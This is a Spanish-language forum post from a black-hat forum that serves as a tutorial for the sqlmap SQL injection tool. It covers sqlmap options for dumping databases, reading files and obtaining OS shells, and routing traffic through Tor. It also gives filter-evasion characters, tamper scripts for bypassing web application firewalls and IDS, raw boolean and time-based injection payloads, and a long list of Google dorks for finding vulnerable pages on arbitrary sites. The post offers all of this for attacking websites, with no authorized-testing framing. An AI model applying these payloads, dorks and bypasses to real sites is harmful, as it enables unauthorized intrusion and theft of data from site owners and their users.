• Descarga el eBook gratuito SEO en Wordpress 2015 aquí

    • Pack con las mejores herramientas SEO en las VIP Tools apúntate!


     
    Calificación:
    • 1 votos - 5 Media
    • 1
    • 2
    • 3
    • 4
    • 5
    Tutorial - Manual SQLmap: ataques SQLi - Inyección SQL

    BlackHat Bronce


    **
    Puntos de comerciante: 0 (0%)
    8



    Crédito: 0.80 BHC
    Mensaje: #1
    Tutorial - Manual SQLmap: ataques SQLi - Inyección SQL
    SQLmap es una de las herramienta más conocidas para hacer ataques SQLi (SQL Injection) escrita en Python. SQLmap se encarga de realizar peticiones a los parámetros de una URL que se le indiquen, ya sea mediante una petición GET, POST, en las cookies, etc. Es capaz de explotar todo tipo de SQLi como union-base, time-base-blind, base-blind-injection, heavy-queries, etc.


    [Imagen: odnUnIo.png]


    SQL Injection es una técnica de ataque a paginas o aplicaciones, que intenta inyectar código SQL dentro de la aplicación destino, para acceder a información sensible. Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una base de datos.


    Permite realizar de manera automática 6 técnicas de ataques:

    boolean-based blind
    time-based blind
    error-based
    UNION query
    stacked queries
    out-of-band
    El operador UNION se utiliza en las inyecciones SQL para unirse a una consulta, deliberadamente forjada por el consultor, a la consulta original. El resultado de la consulta realizada se unirá al resultado de la consulta original, permitiendo que el consultor obtener los valores de los campos de otras tablas.

    Blind SQLi o Ataque a ciegas por SQLi es otro método o alternativa a la tradicional SQLi, es utilizada cuando la web no tira ningún tipo de error ya que los webmasters han quitado la o desactivado el SHOW_WARNINGS y SHOW_ERRORS que son los encargados de imprimir errores en pantalla cada vez que se hace una petición errónea a la base de datos pero si podemos comprobar datos por medio de verdaderos o falsos y a lo largo de este paper veremos a que se refiere con esos verdaderos y falsos. El nombre Blind SQLi o SQLi a ciegas hace referencia a que los nombres de las tablas y demás datos que saquemos, lo haremos adivinándolo ya que no mostrara ningún error en pantalla.

    Time based injection - Inyección basado en el tiempo
    Blind injection - Inyección a ciegas.
    Error based injection - Inyección en base a error
    Normal injection - Inyección normal o ordinaria.


    SQLmap tiene soporte para distintos motores de base de datos:

    MySQL
    Oracle
    PostgreSQL
    Microsoft SQL Server
    Microsoft Access
    IBM DB2
    SQLite
    Firebird
    Sybase
    SAP MaxDB

    SQLmap permite automatizar ataques de inyección de SQL como SQLNinja

    [Imagen: Ni80XnI.png]

    Los comandos se agrupan según categorías:

    Target
    Request
    Optimization
    Injection
    Detection
    Techniques
    Fingerprint
    Enumeration
    Brute force
    User-defined function injection
    File system access
    Operating system access
    Windows registry access
    General
    Miscellaneous.




    Tutorial - Manual Uso básico SQLmap


    Errores:

    Para ver el enlace necesitas registrarte o acceder a tu cuenta
    '

    --dbms=mysql
    [..] Error: You have an error in your SQL syntax [..]
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [..]
    --dbms=mssql
    Microsoft OLE DB Provider for ODBC Drivers error [..]
    Server Error in ‘/’ Application. Unclosed quotation mark before the character string [..]
    --dbms=orcale
    java.sql.SQLException: ORA-00933: SQL command not properly ended at [..]

    Requisitos - Dependencias


    Python 2.6 o 2.7 (no funciona con 3.0)
    gzip
    ssl
    sqlite3
    zlib
    Instalación clonando el repositorio git

    git clone git://github.com/sqlmapproject/sqlmap.git
    cd sqlmap

    Uso:
    python sqlmap.py [opciones]

    --url url (-u) con la variable vulnerable ejemplo elhacker.net/noticia.php?id=1
    -p (buscar otra variable vunlerable) elhacker.net/noticia.php?id=1&user
    --data si hay un formulario GET,POST los campos vulnerables
    --level=n cinco niveles según dificultad
    --dbs listar las bases de datos
    --dbms motor de la base de datos (MySQL,SQL Server ,etc)
    -D indicamos la base de datos a utilizar (-Database)
    --tables mostrar las tablas disponibles
    -t nombre de la tabla --columns
    --dump vuelca resultados, mostrar contenido de las tablas
    -C (Columnas) columnas a mostrar
    --wizard ejecuta un asistente
    --threads=n número de procesos (por defecto 1)
    --delay=n segundos de espera entre peticiones http
    --current-db base de datos que está usando actualmente
    --current-user ver usuario que está ejecutando
    --is-dba –current-db ver si el usuario es el dba de la BD
    --privileges ver los privilegios del usuario (alter, create, drop, execute)
    --file-read path (ruta) leer ficheros
    --sql-shell obtener una sql en shell
    --os-shell obtener shell en el servidor (asp es la 1, aspx 2, jsp 3, php 4) (si se poseen los suficientes privilegios y un FPD (Full Path Disclosure)
    --headers= cabeceras del navegador
    --random-agent cabeceras del navegador aleatorias
    --time-sec= Segundos para retrasar la respuesta de DBMS (por defecto 5)
    ---technique= : Se utiliza para seleccionar la técnica que se va a utilizar en la inyección ( B - E - U - S - T - Q.) Boolean-based, Error-based, Union, Stacked querys, Time-based, Inline queries
    --flush-session
    - Si el SQLi es Blind Boolean Based , se especifica con una "B"
    - Si el SQLi es Error Based/Double Query , se especifica con una "E"
    - Si el SQLi es Union Based , se especifica con una "U"
    - Si el SQLi es Stacked querys , se especifica con una "S"
    - Si el SQLi es Time Based , se especifica con una "T"
    - Si el SQLi es Inline queries , se especifica con una "Q"
    --forms si queremos que busque automáticamente los campos de formularios
    --proxy= usar servidor proxy
    --sql-query añadir consulta sql
    --tamper= scripts ofuscación y bypass (ejemplo space2mysqlblank.py, charencode.py, base64encode.py, randomcomments.py, etc)
    --chek-tor ---> User Tor Anonymity Network
    --tor-port ---> Set Tor proxy port other than default
    --tor-type ---> Set Tor proxy type (HTTP (default ), SOCKS4 or SOCKS5)
    Listado completo en la documentación oficial:

    Para ver el enlace necesitas registrarte o acceder a tu cuenta
    Descargar Cheatsheet para SQLMap cortesía de SecurityByDefault:


    SQLMap compara la página sin ningún tipo inyección con la página con la inyección y en función de la variación entre ellas devuelve True o False (True si supera determinado ratio y False en el caso contrario).

    Los siguientes carácteres pueden ser usados después de la inyección SQL:

    # Hash comment
    /* C-style comment
    -- - SQL comment
    ; Nullbyte
    ` Backtick

    Saber la versión del servidor SQL:

    Enumeración.

    Con SQLMap:

    --all
    -b o --banner (versión)
    --current-user
    --current-db
    --hostname


    VERSION()
    @@VERSION
    @@GLOBAL.VERSION

    Información relevante:

    @@HOSTNAME
    UUID() --> MAC address
    Condicionales

    CASE
    IF()
    IFNULL()
    NULLIF()
    Leyendo ficheros:

    Con SQLMap:

    --file-read=
    --file-write=
    --file-dest=

    LOAD_FILE()
    INTO OUTFILE/DUMPFILE

    Ofuscación (Evadiendo filtros)

    09 Horizontal Tab
    0A New Line
    0B Vertical Tab
    0C New Page
    0D Carriage Return
    A0 Non-breaking Space
    20 Space
    Carácteres admitidos después del AND/OR

    20 Space
    2B +
    2D -
    7E ~
    21 !
    40 @
    Google Dorks


    -g GOOGLEDORK


    Ejemplos:

    inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
    inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id=
    inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr=
    inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id=
    inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id=
    inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID=
    inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?=
    inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id=
    inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id=
    inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id=
    inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id=
    inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id=
    inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id=
    inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id=
    inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id=
    inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
    inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id=
    inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id=
    inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id=
    inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id=
    inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id=
    inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id=
    inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id=
    inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id=
    inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id=
    inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
    inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
    inurl:article.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id=
    inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id=
    inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id=
    inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id=
    inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id=
    inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id=
    inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
    inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id=
    inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id=
    inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:channel_id=
    inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id=
    inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id=
    inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id=
    inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id=
    inurl:news.php?id= inurl:participant.php?id= inurl:avd_start.php?avd= inurl:download.php?id= inurl:event.php?id= inurl:main.php?id= inurl:product-item.php?id= inurl:review.php?id= inurl:sql.php?id= inurl:chappies.php?id= inurl:material.php?id= inurl:read.php?id= inurl:clanek.php4?id= inurl:prod_detail.php?id= inurl:announce.php?id= inurl:viewphoto.php?id= inurl:chappies.php?id= inurl:article.php?id= inurl:read.php?id= inurl:person.php?id= inurl:viewapp.php?id= inurl:productinfo.php?id= inurl:viewphoto.php?id= inurl:showimg.php?id= inurl:rub.php?idr= inurl:view.php?id= inurl:galeri_info.php?l= inurl:website.php?id=
    Bypass de WAF (Web Aplication Firewall) / IDS

    Algunos scripts que nos permite de cierta forma poder realizar un bypass a ciertos WAF/IDS como mod_security o suhosing. De esta manera podemos ocultar el playload. Estos scripts pertenecen a la herramienta SQLmap y se encuentran en la carpeta Tamper.

    --tamper : Se utiliza para seleccionar el tipo de manipulación que se efectuará a la inyección por parte del script que se selecciona a continuación.
    apostrophemask.py
    percentage.py
    apostrophenullencode.py
    randomcase.py
    appendnullbyte.py
    randomcomments.py
    base64encode.py
    securesphere.py
    between.py
    space2comment.py
    bluecoat.py
    space2dash.py
    chardoubleencode.py
    space2hash.py
    charencode.py
    space2morehash.py
    charunicodeencode.py
    space2mssqlblank.py
    concat2concatws.py
    space2mssqlhash.py
    equaltolike.py
    space2mysqlblank.py
    greatest.py
    space2mysqldash.py
    halfversionedmorekeywords.py
    space2plus.py
    ifnull2ifisnull.py
    space2randomblank.py
    __init__.py
    sp_password.py
    lowercase.py
    unionalltounion.py
    modsecurityversioned.py
    unmagicquotes.py
    modsecurityzeroversioned.py
    versionedkeywords.py
    multiplespaces.py
    versionedmorekeywords.py
    nonrecursivereplacement.py

    Por ejemplo el tamper "space2morehash.py" cambian en la "URL encoded" las funciones CHAR(), USER(), CONCAT() por FUNCTION%23randomText%0A()

    space2hash.py, space2mysqlblank.py pueden ser usados cuando el motor es MySQLy charunicodeencode.py, percentage.py opara ofuscar el playload en motores ASP/ASP.NET

    El script charencode nos puede ser muy útil cuando atacamos un sitio web protegido por un WAF,el cual tiene prohido el ingreso de ciertas palabras como puede ser el caso de columns_name, table_name, group_concat, etc.
    -v : Es para seleccionar el nivel de esfuerzo por parte de la herramienta : 0-6 (por defecto toma el valor de 1)
    --batch : Sirve para que el usuario no tenga la necesidad de ingresar cualquier dato una vez iniciado las inyecciones(Se obvia el ingreso de Y/N).
    --risk : Riesgo de pruebas que se desee realizar (0-3, por defecto toma el valor de 1)
    --level : Nivel de pruebas que desee realizar (1-5, por defecto toma el valor de 1)

    Payloads

    Los payloads se encuentran en formato xml: ejemplo de plantilla xml/payloads.xml


    Para ver el enlace necesitas registrarte o acceder a tu cuenta

    Boolean based
    999999 or 1=1 or 1=1
    ' or 1=1 or '1'='1
    " or 1=1 or "1"="1
    999999) or 1=1 or (1=1
    ') or 1=1 or ('1'='1
    ") or 1=1 or ("1"="1
    999999)) or 1=1 or ((1=1
    ')) or 1=1 or (('1'='1
    ")) or 1=1 or (("1"="1
    999999))) or 1=1 or (((1
    '))) or 1=1 or ((('1'='1
    "))) or 1=1 or ((("1"="1
    Time-based MySQL

    (select benchmark(15000000,md5(0x4e446b6e))-9999) as test
    benchmark(15000000,md5(0x4e446b6e))-9999
    9999' or benchmark(15000000,md5(0x4e446b6e)) or '0'='9999
    9999" or benchmark(15000000,md5(0x4e446b6e)) or "0"="9999
    SQL Server (mssql)

    (select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7) as test
    (select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7)
    9999'+(select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7)+'9999
    9999"+(select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7)+"9999
    Sqlmap plugin for BurpSuite

    Cuando auditamos un sitio web lo primero que solemos hacer es poner un proxy intermedio para tener más control sobre lo que enviamos a éste. Por diversos motivos utilizo el BurpSuite como proxy.
    ¿No creéis que sería genial que cuando estamos auditando un sitio podamos redirigir una URL o petición concreta directamente al sqlmap con un simple click de ratón? Sí, ¿verdad? Eso creo yo también. Por esto he desarrollado este plugin, para poder hacer justamente .
    descargar
    Para ver el enlace necesitas registrarte o acceder a tu cuenta

    “El misterio es la cosa más bonita que podemos experimentar. Es la fuente de todo arte y ciencia verdadera.”
    02-01-2015 08:49 PM
    Buscar Citar
     Gracias recibidas por: juancarloschapi


    Posibles temas similares...
    Tema: Autor Respuestas: Vistas: Último mensaje
      Tutorial básico Cross Site Scripting Alex kriminal 5 1,046 04-02-2015 06:57 PM
    Último mensaje: maestrodellaves
    Bombilla Utiliza Varias Veces tus Artículos con Este Tutorial hvazquez07 0 767 19-01-2015 05:58 PM
    Último mensaje: hvazquez07
      tutorial Hack Using Havij Sql Paygal etc Alex kriminal 2 1,316 06-01-2015 11:18 PM
    Último mensaje: smokfrog13

    Salto de foro:


    Usuario(s) navegando en este tema: 1 invitado(s)
    Anuncios FBH (+ info)

    Foro Black Hat

    ForoBlackHat es un foro público con ánimo de desarrollo de aplicaciones y estrategias SEO para la comunidad hispano hablante cuyo objetivo sea el de aprender técnicas de posicionamiento.

    Nuestra comunidad cuenta con un equipo de programadores que desarrollan día a día nuevas herramientas gratuitas para los usuarios. ¡Siéntete libre de registrarte y comentar por los hilos!